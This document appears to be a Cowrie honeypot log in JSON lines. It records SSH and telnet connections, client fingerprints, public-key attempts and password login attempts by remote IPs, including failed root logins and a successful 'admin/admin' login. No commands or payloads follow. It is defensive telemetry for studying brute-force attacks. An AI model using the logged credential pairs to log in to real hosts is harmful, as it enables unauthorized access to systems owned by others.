{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:09.927546Z","src_ip":"103.27.238.114","session":"18e79d331126","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39606,"dst_ip":"10.17.0.5","dst_port":23,"session":"b66b4fb2e2f5","protocol":"telnet","message":"New connection: 152.42.224.71:39606 (10.17.0.5:23) [session: b66b4fb2e2f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:10.740217Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"pdtplf","message":"login attempt [root/pdtplf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:10.767697Z","src_ip":"103.27.238.114","session":"18e79d331126","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:11.266861Z","src_ip":"156.245.207.80","session":"64b59175197f","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:11.321120Z","src_ip":"156.245.207.80","session":"64b59175197f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39622,"dst_ip":"10.17.0.5","dst_port":23,"session":"e55ad6687f34","protocol":"telnet","message":"New connection: 152.42.224.71:39622 (10.17.0.5:23) [session: e55ad6687f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:11.451030Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:12.049424Z","src_ip":"103.27.238.114","session":"18e79d331126","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.897308349609375,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:14.491414Z","src_ip":"152.42.224.71","session":"301a4b75ea73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":48074,"dst_ip":"159.203.135.109","dst_port":22,"session":"d17a2e884de9","protocol":"ssh","message":"New connection: 62.133.63.178:48074 (159.203.135.109:22) [session: d17a2e884de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:15.882246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:15.887213Z","src_ip":"62.133.63.178","session":"d17a2e884de9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:16.013967Z","src_ip":"62.133.63.178","session":"d17a2e884de9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"carbon","message":"login attempt [root/carbon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:16.393765Z","src_ip":"62.133.63.178","session":"d17a2e884de9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:17.522640Z","src_ip":"62.133.63.178","session":"d17a2e884de9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.24439334869385,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:43.092768Z","src_ip":"152.42.224.71","session":"b2869c1af366","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60928,"dst_ip":"10.17.0.5","dst_port":23,"session":"52b890484f69","protocol":"telnet","message":"New connection: 152.42.224.71:60928 (10.17.0.5:23) [session: 52b890484f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:44.330504Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.31.53.170","src_port":42042,"dst_ip":"10.17.0.5","dst_port":22,"session":"b98457201af1","protocol":"ssh","message":"New connection: 64.31.53.170:42042 (10.17.0.5:22) [session: b98457201af1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:46.946410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:46.951298Z","src_ip":"64.31.53.170","session":"b98457201af1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:46.961545Z","src_ip":"64.31.53.170","session":"b98457201af1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:79:75:92:f9:be:a6:7c:58:80:ee:eb:8a:80:dc:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSWYPyY9QxvcpWRdGRSGhjriL9ICxdAFrFz1SSum4JFA16CQJxKNcNo6apTpSldIzT09H59hRLoF8e9T+A4ZITE4dz+z5DyiU92kJ1slnOm5d1DLgo8K86yIFSfkvzihXafNbX+F3eibt7/CAzPzNl3+EuuZQ0XSuYdBtJkUfxUbdxb/aTPMwuFmm1XosABj1CuZKyTwM62LPN8EAQ8bTIC8TrlwXpZ+QLoUYq4Vzpj+W1ucQ2b3ncDtqH8fHo9O1KCjBARS5xxr0upl8cGPlRdmGneXnWdakZrGQQuIjQE0jefH1h5GnpjRSrZgZ3U3kHgKdCdp2mtITRNb8EGAVz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:79:75:92:f9:be:a6:7c:58:80:ee:eb:8a:80:dc:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:46.979226Z","src_ip":"64.31.53.170","session":"b98457201af1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:79:75:92:f9:be:a6:7c:58:80:ee:eb:8a:80:dc:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSWYPyY9QxvcpWRdGRSGhjriL9ICxdAFrFz1SSum4JFA16CQJxKNcNo6apTpSldIzT09H59hRLoF8e9T+A4ZITE4dz+z5DyiU92kJ1slnOm5d1DLgo8K86yIFSfkvzihXafNbX+F3eibt7/CAzPzNl3+EuuZQ0XSuYdBtJkUfxUbdxb/aTPMwuFmm1XosABj1CuZKyTwM62LPN8EAQ8bTIC8TrlwXpZ+QLoUYq4Vzpj+W1ucQ2b3ncDtqH8fHo9O1KCjBARS5xxr0upl8cGPlRdmGneXnWdakZrGQQuIjQE0jefH1h5GnpjRSrZgZ3U3kHgKdCdp2mtITRNb8EGAVz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:46.983225Z","src_ip":"64.31.53.170","session":"b98457201af1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:a5:fa:35:74:05:58:30:84:66:32:36:ed:bc:1d:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0RidCGwIwmx6bsYHDlu8KjaCQR7TmrgwbDJ6dnpa3vhAOS97C7bW9ZICZwvywd15BNdk4/H1WGLkxw/LOzUzvVtSsFPy427/U7kxGtXXBMTeXjJB8F3/oiHgdOFuc8fPRBkaVMgJRxpV4tBvSXYEoDNJIXc2vgF2SyFAB3nzx+g9YtnjYG3EnkUdN2CinHIVftYSByDJlmAzEvGW2mYmtJBevCSrLH+EukJYhNytaWeFM408wV5gX/Xgmuz2X6ZAXG4JMk/e53RaXv4ysWoJ9WuL6O4hsaH8Ksole2wiMqSDPMATtQB50GkdCnnFpLp8dxLWmxPX4k5tye6BKOqolQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:a5:fa:35:74:05:58:30:84:66:32:36:ed:bc:1d:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:46.991025Z","src_ip":"64.31.53.170","session":"b98457201af1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:a5:fa:35:74:05:58:30:84:66:32:36:ed:bc:1d:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0RidCGwIwmx6bsYHDlu8KjaCQR7TmrgwbDJ6dnpa3vhAOS97C7bW9ZICZwvywd15BNdk4/H1WGLkxw/LOzUzvVtSsFPy427/U7kxGtXXBMTeXjJB8F3/oiHgdOFuc8fPRBkaVMgJRxpV4tBvSXYEoDNJIXc2vgF2SyFAB3nzx+g9YtnjYG3EnkUdN2CinHIVftYSByDJlmAzEvGW2mYmtJBevCSrLH+EukJYhNytaWeFM408wV5gX/Xgmuz2X6ZAXG4JMk/e53RaXv4ysWoJ9WuL6O4hsaH8Ksole2wiMqSDPMATtQB50GkdCnnFpLp8dxLWmxPX4k5tye6BKOqolQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:46.996649Z","src_ip":"64.31.53.170","session":"b98457201af1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:76:b3:b7:7d:d6:8f:66:72:2d:2c:65:a8:0c:48:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoKMIwcU4klF4V5y8+kR6HZjRx++7MpJcEpJdbsE8G4gUJ4mma/IuN+CdFG0FDbsX96IJzZb7V0OLFkcVBbiII4Wye+7T6Pd2MO+jFZq32+RSmVrbeDPUKu9oppwNsnbubS4mu7eqJtsrKS4hQ5Apg4G9ZboRDcbOFQggXj1VUYpyTXTXx8+w0+KYheIG/h3XIm/mNiFelT3Fi1ZizlDhSeggcdqsKqBp6jJymCWeVgHjV2NR/cmXWu5HBKG2HEK8STFkTene9PZfBC8bLcSciLONXwWLEgsRGx5gnOZ4eOSWvDfQknLVZnjgTJOzj0JtR9Duq0pNW/RWAo5391pId","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:76:b3:b7:7d:d6:8f:66:72:2d:2c:65:a8:0c:48:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:47.006612Z","src_ip":"64.31.53.170","session":"b98457201af1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:76:b3:b7:7d:d6:8f:66:72:2d:2c:65:a8:0c:48:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoKMIwcU4klF4V5y8+kR6HZjRx++7MpJcEpJdbsE8G4gUJ4mma/IuN+CdFG0FDbsX96IJzZb7V0OLFkcVBbiII4Wye+7T6Pd2MO+jFZq32+RSmVrbeDPUKu9oppwNsnbubS4mu7eqJtsrKS4hQ5Apg4G9ZboRDcbOFQggXj1VUYpyTXTXx8+w0+KYheIG/h3XIm/mNiFelT3Fi1ZizlDhSeggcdqsKqBp6jJymCWeVgHjV2NR/cmXWu5HBKG2HEK8STFkTene9PZfBC8bLcSciLONXwWLEgsRGx5gnOZ4eOSWvDfQknLVZnjgTJOzj0JtR9Duq0pNW/RWAo5391pId","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:47.011227Z","src_ip":"64.31.53.170","session":"b98457201af1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:f6:88:ad:b7:e4:da:71:9a:84:8a:c0:cf:79:51:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDpe54CqMk1+VuMHBkPw2uV45kkD2NjM00tIC6Oe2Lx4/TmFUD+C/TwnK2Aqz8OdX1Ppl9Ff53dda6pn5gwybhIkgwz0GBG1D0naEBZGU2Je0P5YB2S2/qJkIg7AgysFrqgUyUOGAQEyMOhWYe5IYPhNd/youy/5qvAqy+FjSbJcmfEqrMLAOX6ixz9Gg3MGe6atkbwWS5i/3EN5REcEAkBC2+0UGwvDOOlO3Yx2ekPcsI9XSChw5o980PNpASPeETfQxCfxEBqDdnblN8fRr82zRHGAkCvoAt2xeJ86Qp/6wfCIFTE3DzR5urdbQA1GF+VAmpN15MwrQJHNG1Rd1JlvXTrcz+e10Z7psirQ9eVw2uWMq+ZJzaPoObV7eVY0vobYepqDHmfIIXHUb/FHulo+R9vBn/2ijDrbHzyoM7GNYBL9YP0v9uOLrOXaoDhW9u2NN70qQHgKvecsQ4j4gecXNxzIvOY4tAMkKhtzaZ2sOApcbMmoVGTCdkuEFNs5QE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:f6:88:ad:b7:e4:da:71:9a:84:8a:c0:cf:79:51:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:47.023242Z","src_ip":"64.31.53.170","session":"b98457201af1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:f6:88:ad:b7:e4:da:71:9a:84:8a:c0:cf:79:51:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDpe54CqMk1+VuMHBkPw2uV45kkD2NjM00tIC6Oe2Lx4/TmFUD+C/TwnK2Aqz8OdX1Ppl9Ff53dda6pn5gwybhIkgwz0GBG1D0naEBZGU2Je0P5YB2S2/qJkIg7AgysFrqgUyUOGAQEyMOhWYe5IYPhNd/youy/5qvAqy+FjSbJcmfEqrMLAOX6ixz9Gg3MGe6atkbwWS5i/3EN5REcEAkBC2+0UGwvDOOlO3Yx2ekPcsI9XSChw5o980PNpASPeETfQxCfxEBqDdnblN8fRr82zRHGAkCvoAt2xeJ86Qp/6wfCIFTE3DzR5urdbQA1GF+VAmpN15MwrQJHNG1Rd1JlvXTrcz+e10Z7psirQ9eVw2uWMq+ZJzaPoObV7eVY0vobYepqDHmfIIXHUb/FHulo+R9vBn/2ijDrbHzyoM7GNYBL9YP0v9uOLrOXaoDhW9u2NN70qQHgKvecsQ4j4gecXNxzIvOY4tAMkKhtzaZ2sOApcbMmoVGTCdkuEFNs5QE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:47.027984Z","src_ip":"64.31.53.170","session":"b98457201af1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:6f:c3:aa:0a:17:19:06:5d:b7:6c:8f:2c:42:97:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDW45ItngHyPYc35XwYrP2h9fWFR1wRfyfoyJEf1L7KKEbljevaKJwRPV+85qWM8rkbA4rhl4YFk0drqQ7U/mHKuo+cawWrxvlelkSOJXha/lM0othSkJJNb7sdNFmVHyx/0eKHXdI624tx3HTv+wPYyeLOFd6GyTOMyV6ptKNPYnBQx7hfdJ6RWw46u7u08u0POS4/bBMn3UglPV1mlZyULU8E9j78kcaY6jrRBZik3Eu3Zr5KMre2fSEZHRyQ6Box70aLI2U2+ZbmuYwOnzUz0mKmVLQFSUfBYXz4tKl9kHWwhpsPZC90Kik4UEAlIBAI9hEa760gpGZd13qjt+hhp4AM/aN5OKLH6604V4aDBiGFZdKW4cOcgglwC4eF2M3RdlpGnmlKhZtpd/gcK+CrfQh+XJNFWSRgj9/Kzp/e/FFP6hU3tFyKHJ9JnclbC6zOQl70X9n4faoRjFS2aSinrA0qgsIdrLab7hT+8cAT08BiJwIymaWtRPZ4Ae4NqADBwdMf/6UMHm417mYxWInlKFXVXC9W5ZZS4OmZYZdO5C6xeS1xKBhLhT2RY9irEf4iP8PDttDTuRi7zDmhJOqUsq+VC9FMiVowLumWx3d9y9sPXEXD2Z4YsEOoRYMrUHMw3TJX+kvR/5L3hn9zlfraUin7dM480e9Xwy8CDJ0rFQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:6f:c3:aa:0a:17:19:06:5d:b7:6c:8f:2c:42:97:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:47.036731Z","src_ip":"64.31.53.170","session":"b98457201af1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:6f:c3:aa:0a:17:19:06:5d:b7:6c:8f:2c:42:97:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDW45ItngHyPYc35XwYrP2h9fWFR1wRfyfoyJEf1L7KKEbljevaKJwRPV+85qWM8rkbA4rhl4YFk0drqQ7U/mHKuo+cawWrxvlelkSOJXha/lM0othSkJJNb7sdNFmVHyx/0eKHXdI624tx3HTv+wPYyeLOFd6GyTOMyV6ptKNPYnBQx7hfdJ6RWw46u7u08u0POS4/bBMn3UglPV1mlZyULU8E9j78kcaY6jrRBZik3Eu3Zr5KMre2fSEZHRyQ6Box70aLI2U2+ZbmuYwOnzUz0mKmVLQFSUfBYXz4tKl9kHWwhpsPZC90Kik4UEAlIBAI9hEa760gpGZd13qjt+hhp4AM/aN5OKLH6604V4aDBiGFZdKW4cOcgglwC4eF2M3RdlpGnmlKhZtpd/gcK+CrfQh+XJNFWSRgj9/Kzp/e/FFP6hU3tFyKHJ9JnclbC6zOQl70X9n4faoRjFS2aSinrA0qgsIdrLab7hT+8cAT08BiJwIymaWtRPZ4Ae4NqADBwdMf/6UMHm417mYxWInlKFXVXC9W5ZZS4OmZYZdO5C6xeS1xKBhLhT2RY9irEf4iP8PDttDTuRi7zDmhJOqUsq+VC9FMiVowLumWx3d9y9sPXEXD2Z4YsEOoRYMrUHMw3TJX+kvR/5L3hn9zlfraUin7dM480e9Xwy8CDJ0rFQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:47.040625Z","src_ip":"64.31.53.170","session":"b98457201af1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:47.054104Z","src_ip":"64.31.53.170","session":"b98457201af1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.53.168.23","src_port":33840,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e3a707bbb5e","protocol":"ssh","message":"New connection: 163.53.168.23:33840 (10.17.0.5:22) [session: 5e3a707bbb5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:47.444310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:47.449749Z","src_ip":"163.53.168.23","session":"5e3a707bbb5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:47.703658Z","src_ip":"163.53.168.23","session":"5e3a707bbb5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cooper","message":"login attempt [root/cooper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:48.738865Z","src_ip":"163.53.168.23","session":"5e3a707bbb5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.01734256744385,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:46:56.468282Z","src_ip":"152.42.224.71","session":"e55ad6687f34","protocol":"telnet"}
